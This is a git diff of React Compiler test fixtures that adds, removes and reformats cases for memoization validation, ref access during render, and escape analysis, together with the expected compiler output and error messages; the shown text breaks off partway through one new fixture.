@@ -1,44 +0,0 @@
-
-## Input
-
-```javascript
-// @validateMemoizedEffectDependencies
-import { useHook } from "shared-runtime";
-
-function Component(props) {
-  const x = [];
-  useHook(); // intersperse a hook call to prevent memoization of x
-  x.push(props.value);
-
-  const y = [x];
-
-  useEffect(() => {
-    console.log(y);
-  }, [y]);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: "sathya" }],
-};
-
-```
-
-
-## Error
-
-```
-   9 |   const y = [x];
-  10 |
-> 11 |   useEffect(() => {
-     |   ^^^^^^^^^^^^^^^^^
-> 12 |     console.log(y);
-     | ^^^^^^^^^^^^^^^^^^^
-> 13 |   }, [y]);
-     | ^^^^^^^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the effect dependencies could not be memoized. Unmemoized effect dependencies can trigger an infinite loop or other unexpected behavior (11:13)
-  14 | }
-  15 |
-  16 | export const FIXTURE_ENTRYPOINT = {
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-memoized-effect-deps-invalidated-dep-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-memoized-effect-deps-invalidated-dep-value.js
deleted file mode 100644
index 420ff4173854..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-memoized-effect-deps-invalidated-dep-value.js
+++ /dev/null
@@ -1,19 +0,0 @@
-// @validateMemoizedEffectDependencies
-import { useHook } from "shared-runtime";
-
-function Component(props) {
-  const x = [];
-  useHook(); // intersperse a hook call to prevent memoization of x
-  x.push(props.value);
-
-  const y = [x];
-
-  useEffect(() => {
-    console.log(y);
-  }, [y]);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: "sathya" }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.expect.md
index 3d47d6e24790..47e9fedd37f6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.expect.md
@@ -3,14 +3,16 @@
 
 ```javascript
 // @validateRefAccessDuringRender:true
+import {mutate} from 'shared-runtime';
+
 function Foo(props, ref) {
-  console.log(ref.current);
+  mutate(ref.current);
   return <div>{props.bar}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ bar: "foo" }, { ref: { cuurrent: 1 } }],
+  params: [{bar: 'foo'}, {ref: {cuurrent: 1}}],
   isComponent: true,
 };
 
@@ -20,13 +22,20 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-  1 | // @validateRefAccessDuringRender:true
-  2 | function Foo(props, ref) {
-> 3 |   console.log(ref.current);
-    |               ^^^^^^^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef) (3:3)
-  4 |   return <div>{props.bar}</div>;
-  5 | }
-  6 |
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.validate-mutate-ref-arg-in-render.ts:5:9
+  3 |
+  4 | function Foo(props, ref) {
+> 5 |   mutate(ref.current);
+    |          ^^^^^^^^^^^ Passing a ref to a function may read its value during render
+  6 |   return <div>{props.bar}</div>;
+  7 | }
+  8 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.js
index 6e21199bb5cd..8e75ec2107c6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.js
@@ -1,11 +1,13 @@
 // @validateRefAccessDuringRender:true
+import {mutate} from 'shared-runtime';
+
 function Foo(props, ref) {
-  console.log(ref.current);
+  mutate(ref.current);
   return <div>{props.bar}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ bar: "foo" }, { ref: { cuurrent: 1 } }],
+  params: [{bar: 'foo'}, {ref: {cuurrent: 1}}],
   isComponent: true,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-entries-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-entries-mutation.expect.md
new file mode 100644
index 000000000000..c7e16b3c12ba
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-entries-mutation.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const object = {object: props.object};
+  const entries = useMemo(() => Object.entries(object), [object]);
+  entries.map(([, value]) => {
+    value.updated = true;
+  });
+  return <Stringify entries={entries} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{object: {key: makeObject_Primitives()}}],
+};
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.
+
+error.validate-object-entries-mutation.ts:6:57
+  4 | function Component(props) {
+  5 |   const object = {object: props.object};
+> 6 |   const entries = useMemo(() => Object.entries(object), [object]);
+    |                                                          ^^^^^^ This dependency may be modified later
+  7 |   entries.map(([, value]) => {
+  8 |     value.updated = true;
+  9 |   });
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
+
+error.validate-object-entries-mutation.ts:6:18
+  4 | function Component(props) {
+  5 |   const object = {object: props.object};
+> 6 |   const entries = useMemo(() => Object.entries(object), [object]);
+    |                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization
+  7 |   entries.map(([, value]) => {
+  8 |     value.updated = true;
+  9 |   });
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-entries-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-entries-mutation.js
new file mode 100644
index 000000000000..b3a240a111c2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-entries-mutation.js
@@ -0,0 +1,16 @@
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const object = {object: props.object};
+  const entries = useMemo(() => Object.entries(object), [object]);
+  entries.map(([, value]) => {
+    value.updated = true;
+  });
+  return <Stringify entries={entries} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{object: {key: makeObject_Primitives()}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-values-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-values-mutation.expect.md
new file mode 100644
index 000000000000..bee5b18b7e24
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-values-mutation.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const object = {object: props.object};
+  const values = useMemo(() => Object.values(object), [object]);
+  values.map(value => {
+    value.updated = true;
+  });
+  return <Stringify values={values} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{object: {key: makeObject_Primitives()}}],
+};
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.
+
+error.validate-object-values-mutation.ts:6:55
+  4 | function Component(props) {
+  5 |   const object = {object: props.object};
+> 6 |   const values = useMemo(() => Object.values(object), [object]);
+    |                                                        ^^^^^^ This dependency may be modified later
+  7 |   values.map(value => {
+  8 |     value.updated = true;
+  9 |   });
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
+
+error.validate-object-values-mutation.ts:6:17
+  4 | function Component(props) {
+  5 |   const object = {object: props.object};
+> 6 |   const values = useMemo(() => Object.values(object), [object]);
+    |                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization
+  7 |   values.map(value => {
+  8 |     value.updated = true;
+  9 |   });
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-values-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-values-mutation.js
new file mode 100644
index 000000000000..4f8c32367c19
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-values-mutation.js
@@ -0,0 +1,16 @@
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const object = {object: props.object};
+  const values = useMemo(() => Object.values(object), [object]);
+  values.map(value => {
+    value.updated = true;
+  });
+  return <Stringify values={values} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{object: {key: makeObject_Primitives()}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-destructured-rest-element.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-destructured-rest-element.expect.md
index 4198e6469d57..f38ffba95858 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-destructured-rest-element.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-destructured-rest-element.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function Component(props) {
   // b is an object, must be memoized even though the input is not memoized
-  const { a, ...b } = props.a;
+  const {a, ...b} = props.a;
   // d is an array, mut be memoized even though the input is not memoized
   const [c, ...d] = props.c;
   return <div b={b} d={d}></div>;
@@ -12,8 +12,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -35,8 +35,7 @@ function Component(props) {
   }
   let d;
   if ($[2] !== props.c) {
-    const [c, ...t0] = props.c;
-    d = t0;
+    [, ...d] = props.c;
     $[2] = props.c;
     $[3] = d;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-destructured-rest-element.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-destructured-rest-element.js
index 73d39d0429be..4c90a6f0fe4a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-destructured-rest-element.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-destructured-rest-element.js
@@ -1,6 +1,6 @@
 function Component(props) {
   // b is an object, must be memoized even though the input is not memoized
-  const { a, ...b } = props.a;
+  const {a, ...b} = props.a;
   // d is an array, mut be memoized even though the input is not memoized
   const [c, ...d] = props.c;
   return <div b={b} d={d}></div>;
@@ -8,6 +8,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-jsx-child.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-jsx-child.expect.md
index 20a669365fe4..ac182ce0ad62 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-jsx-child.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-jsx-child.expect.md
@@ -16,8 +16,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -61,6 +61,7 @@ function foo(a, b, c) {
   } else {
     x = $[3];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-jsx-child.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-jsx-child.js
index acddd21b291d..055bc4b46ff5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-jsx-child.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-jsx-child.js
@@ -12,6 +12,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-logical.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-logical.expect.md
index f6f05a3022f5..d5e8bfbf9ef8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-logical.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-logical.expect.md
@@ -13,8 +13,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -52,6 +52,7 @@ function Component(props) {
     t2 = $[5];
   }
   const c = t2;
+
   return (a && b) || c;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-logical.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-logical.js
index b6eb87942f97..51f8ad7ac60f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-logical.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-logical.js
@@ -9,6 +9,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-dependency.expect.md
index 50b96072fdd7..866fe3985f2d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-dependency.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-dependency.expect.md
@@ -20,8 +20,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -53,6 +53,7 @@ function Component(props) {
   } else {
     b = $[4];
   }
+
   return b;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-dependency.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-dependency.js
index 70216733ce13..ed6cb6762d42 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-dependency.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-dependency.js
@@ -16,6 +16,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.expect.md
index 99b208b9e08e..52a184a8fe28 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.expect.md
@@ -29,8 +29,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -40,37 +40,30 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(7);
+  const $ = _c(5);
   let t0;
   if ($[0] !== props.a) {
-    t0 = [props.a];
+    const a = [props.a];
+    t0 = [a];
     $[0] = props.a;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const a = t0;
-  let t1;
-  if ($[2] !== a) {
-    t1 = [a];
-    $[2] = a;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  const b = t1;
+  const b = t0;
   let c;
-  if ($[4] !== b || $[5] !== props.b) {
+  if ($[2] !== b || $[3] !== props.b) {
     c = [];
     const d = {};
     d.b = b;
     c.push(props.b);
-    $[4] = b;
-    $[5] = props.b;
-    $[6] = c;
+    $[2] = b;
+    $[3] = props.b;
+    $[4] = c;
   } else {
-    c = $[6];
+    c = $[4];
   }
+
   return c;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js
index e152a0495fb5..895c881cec45 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js
@@ -25,6 +25,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-primitive-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-primitive-dependency.expect.md
index 3132362670df..1f8f15b12dc6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-primitive-dependency.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-primitive-dependency.expect.md
@@ -22,8 +22,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -48,6 +48,7 @@ function Component(props) {
   } else {
     b = $[2];
   }
+
   return b;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-primitive-dependency.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-primitive-dependency.js
index 8235eb278104..6b4bf029b2ee 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-primitive-dependency.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-primitive-dependency.js
@@ -18,6 +18,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-conditional-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-conditional-test.expect.md
index 88d34377e5f8..3c7301bdc65d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-conditional-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-conditional-test.expect.md
@@ -10,8 +10,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-conditional-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-conditional-test.js
index 519f70a7d5fe..97bda68f3951 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-conditional-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-conditional-test.js
@@ -6,6 +6,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-if-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-if-test.expect.md
index 3bbdffcf7135..eae9fad803e2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-if-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-if-test.expect.md
@@ -15,8 +15,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -32,6 +32,7 @@ function Component(props) {
   } else {
     y = props.c;
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-if-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-if-test.js
index 63c337e5273a..b73e95f1d6cf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-if-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-if-test.js
@@ -11,6 +11,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-case.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-case.expect.md
index 7bb4aad0948b..e74e3ef736e0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-case.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-case.expect.md
@@ -15,8 +15,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-case.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-case.js
index 3cc9cc6973b2..4dca76a62f16 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-case.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-case.js
@@ -11,6 +11,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-test.expect.md
index 41f313b38bb1..850677f803b3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-test.expect.md
@@ -15,8 +15,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-test.js
index 83f28a546af7..b927fc7546ef 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-test.js
@@ -11,6 +11,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-call-after-dependency-load.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-call-after-dependency-load.expect.md
new file mode 100644
index 000000000000..acad3c309212
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-call-after-dependency-load.expect.md
@@ -0,0 +1,83 @@
+
+## Input
+
+```javascript
+/**
+ * Test that we preserve order of evaluation on the following case scope@0
+ * ```js
+ * // simplified HIR
+ * scope@0
+ *    ...
+ *    $0 = arr.length
+ *    $1 = arr.push(...)
+ *
+ * scope@1 <-- here we should depend on $0 (the value of the property load before the
+ *             mutable call)
+ *   [$0, $1]
+ * ```
+ */
+function useFoo(source: Array<number>): [number, number] {
+  const arr = [1, 2, 3, ...source];
+  return [arr.length, arr.push(0)];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [[5, 6]],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; /**
+ * Test that we preserve order of evaluation on the following case scope@0
+ * ```js
+ * // simplified HIR
+ * scope@0
+ *    ...
+ *    $0 = arr.length
+ *    $1 = arr.push(...)
+ *
